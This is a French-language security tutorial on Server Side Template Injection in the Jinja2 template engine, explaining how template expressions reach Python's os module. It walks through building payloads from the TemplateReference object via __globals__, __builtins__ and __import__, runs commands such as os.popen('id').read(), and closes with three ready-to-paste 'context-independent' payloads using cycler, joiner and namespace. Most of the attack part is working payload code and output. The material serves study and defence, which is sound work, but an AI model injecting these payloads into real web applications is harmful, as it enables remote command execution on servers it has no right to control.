Vulnérabilités Python : Exécution de code dans les templates jinja

Table des matières :

Introduction

Il y a quelques temps je présentais un article sur les vulnérabilités de format string en Python dans lequel j’expliquais les dangers des format string, si elles sont mal utilisées. Aujourd’hui, je vais présenter une vulnérabilité assez similaire, permettant l’exécution de code dans les templates du moteur jinja. Ce type de comportements est très utile pour réaliser des attaques de Server Side Template Injection (SSTI).

Le moteur de templates jinja2

Le moteur de templates jinja2 permet de générer des documents (strings, pages web …) a partir de templates. Cela permet de grandement simplifier le code et de gagner du temps. Par exemple pour un site web, au lieu d’écrire le bloc d’entêtes <head> dans toutes les pages, nous pouvons créer une seule template head.jinja2 qui sera incluse dans toutes les pages. Ainsi quand il faudra modifier le contenu de l’entête, il n’y aura qu’un fichier à modifier.

Voici un exemple de template jinja2 :

<!DOCTYPE html>
<html lang="en">
<head>
    <title>My Webpage</title>
    <link rel="stylesheet" href="/css/main.css">
</head>
<body>
    <ul id="navigation">
    {% for item in navigation %}
        <li><a href="{{ item.href }}">{{ item.caption }}</a></li>
    {% endfor %}
    </ul>

    <h1>My Webpage</h1>
    {{ a_variable }}

    {# a comment #}
</body>
</html>

Objet Template de jinja2

Dans le moteur jinja2, les templates sont créées à partir de l’objet Template du module. Grâce à ce type d’objets, nous pouvons créer des templates très facilement, de la même manière que les format string :

>>> from jinja2 import Template
>>> msg = Template("My name is {{ name }}").render(name="John Doe")
>>> print(msg)
'My name is John Doe'

Lorsque nous générons le string avec .render(...) le moteur jinja2 utilise l’objet name= passé en paramètre et le remplace dans l’emplacement {{ name }} de la template ce qui nous donne bien 'My name is John Doe'.

Execution de commandes

En Python, les format string nous permettent d’accéder aux propriétés des objets, mais pas d’appeler les méthodes de ceux-cis. Dans le moteur jinja2, nous pouvons exécuter des fonctions spécifiques aux objets passés en paramètres. Prennons un exemple :

>>> import os
>>> from jinja2 import Template
>>> msg = Template("My name is {{ s.upper() }}").render(s="thisisastring")
>>> print(msg)
'My name is THISISASTRING'

De la même manière, nous pouvons exécuter des commandes si nous avons accès au module os depuis la Template jinja2 :

>>> import os
>>> from jinja2 import Template
>>> msg = Template("My name is {{ module.system('id') }}").render(module=os)
uid=1000(user) gid=1000(user) groups=1000(user)
>>> print(msg)
'My name is 0'

Dans l’exemple ci-dessus, nous importons les modules os et jinja2 puis nous créons une template. La template contient {{ module.system('id') }} permettant d’appeller une fonction du module utilisé (ici os). Lors du rendu de la template, os.system('id') est exécuté.

L’objet TemplateReference

Dans les templates jinja2, nous pouvons utiliser l’objet TemplateReference pour réutiliser des blocks de code de la template. Par exemple, pour éviter de réécrire le titre partout dans la template, nous pouvons définir le titre dans un block {% block title %} et le récupérer avec {{ self.title() }} plus tard :

>>> msg = jinja2.Template("""
... <title>{% block title %}This is a title{% endblock %}</title>
... <h1>{{ self.title() }}</h1>
... """).render()
>>> print(msg)
<title>This is a title</title>
<h1>This is a title</h1>
>>>

Nous pouvons accéder à l’objet TemplateReference sans conditions, même sans aucune variable fournie dans le render():

>>> jinja2.Template("My name is {{ self }}").render()
'My name is <TemplateReference None>'
>>>

Nous allons donc partir de l’objet TemplateReference pour construire une payload permettant d’importer le module os.

Construction d’une payload classique

Une première idée très classique est d’utiliser l’objet TemplateReference pour remonter aux __builtins__ et utiliser la fonction __import__ pour importer le module que nous voulons directement. Pour ce faire, il faut d’abord remonter aux __globals__ en utilisant le chemin classique self.__init__.__globals__ :

>>> jinja2.Template("My name is {{ self.__init__.__globals__ }}").render()

En faisant cela, nous obtenons un dict contenant toutes les variables globales :

Dans les __globals__, nous pouvons accéder aux fonctions __builtins__ de Python. Cet ensemble de fonctions est inclus nativement dans Python sans besoin de librairies externes, et contient notament la fonction __import__. Nous pouvons donc l’utiliser directement pour importer le module os comme ceci :

>>> jinja2.Template("My name is {{ self.__init__.__globals__.__builtins__.__import__('os').system('id') }}").render()
uid=1000(user) gid=1000(user) groups=1000(user)
'My name is 0\n'

Ici la fonction system du module os nous permet de vérifier que nous pouvons exécuter des commandes, mais le résultat de la commande n’est pas reflétée dans la template générée. Pour retourner le résultat de la commande, nous pouvons utiliser os.popen(commande).read() comme ceci :

>>> jinja2.Template("My name is {{ self.__init__.__globals__.__builtins__.__import__('os').popen('id').read() }}").render()
uid=1000(user) gid=1000(user) groups=1000(user)
'My name is uid=1000(user) gid=1000(user) groups=1000(user)\n'

Et nous pouvons maintenant exécuter des commandes système depuis une template jinja !

Une payload indépendante du contexte

Le problème avec la méthode précédente est que les __builtins__ sont souvent restreints ou filtrés. Nous devons donc essayer de trouver un module ou os est déjà importé, et tenter d’y accéder. Dans les sources du module jinja2, nous voyons que le module os est importé dans le fichier utils.py, (Donc le module est accessible à jinja2.utils.os). Nous pouvons le confirmer très simplement :

>>> import jinja2
>>> jinja2.utils.os
<module 'os' from '/usr/lib/python3.8/os.py'>
>>>

Si nous reprenons notre objet TemplateReference présenté plus haut, nous pouvons trouver un attribut interne très intéressant, _TemplateReference__context. Cet attribut est très intéressant car il permet d’accéder à trois variables cycler, joiner et namespace toutes présentes dans le fichier utils.py ou le module os est lui aussi importé.

>>> jinja2.Template("My name is {{ e(self._TemplateReference__context) }}").render(e=lambda x:vars(x))
"My name is {'parent': {'range': <class 'range'>, 'dict': <class 'dict'>, 'lipsum': <function generate_lorem_ipsum at 0x7f62df526940>, 'cycler': <class 'jinja2.utils.Cycler'>, 'joiner': <class 'jinja2.utils.Joiner'>, 'namespace': <class 'jinja2.utils.Namespace'>, 'e': <function <lambda> at 0x7f62de305790>}, 'vars': {}, 'environment': <jinja2.environment.Environment object at 0x7f62dfded040>, 'eval_ctx': <jinja2.nodes.EvalContext object at 0x7f62de22b760>, 'exported_vars': set(), 'name': None, 'blocks': {}}"

Une fois que nous arrivons dans le bon submodule, il ne nous reste plus qu’a remonter aux __globals__ pour accéder directement au module os :

>>> jinja2.Template("My name is {{ self._TemplateReference__context.cycler.__init__.__globals__.os }}").render()
"My name is <module 'os' from '/usr/lib/python3.8/os.py'>"

>>> jinja2.Template("My name is {{ self._TemplateReference__context.joiner.__init__.__globals__.os }}").render()
"My name is <module 'os' from '/usr/lib/python3.8/os.py'>"

>>> jinja2.Template("My name is {{ self._TemplateReference__context.namespace.__init__.__globals__.os }}").render()
"My name is <module 'os' from '/usr/lib/python3.8/os.py'>"
>>>

Voici donc 3 payloads indépendantes du contexte, permettant toujours d’accéder au module os dans une template rendue par le moteur jinja2 :

{{ self._TemplateReference__context.cycler.__init__.__globals__.os }}
{{ self._TemplateReference__context.joiner.__init__.__globals__.os }}
{{ self._TemplateReference__context.namespace.__init__.__globals__.os }}

Références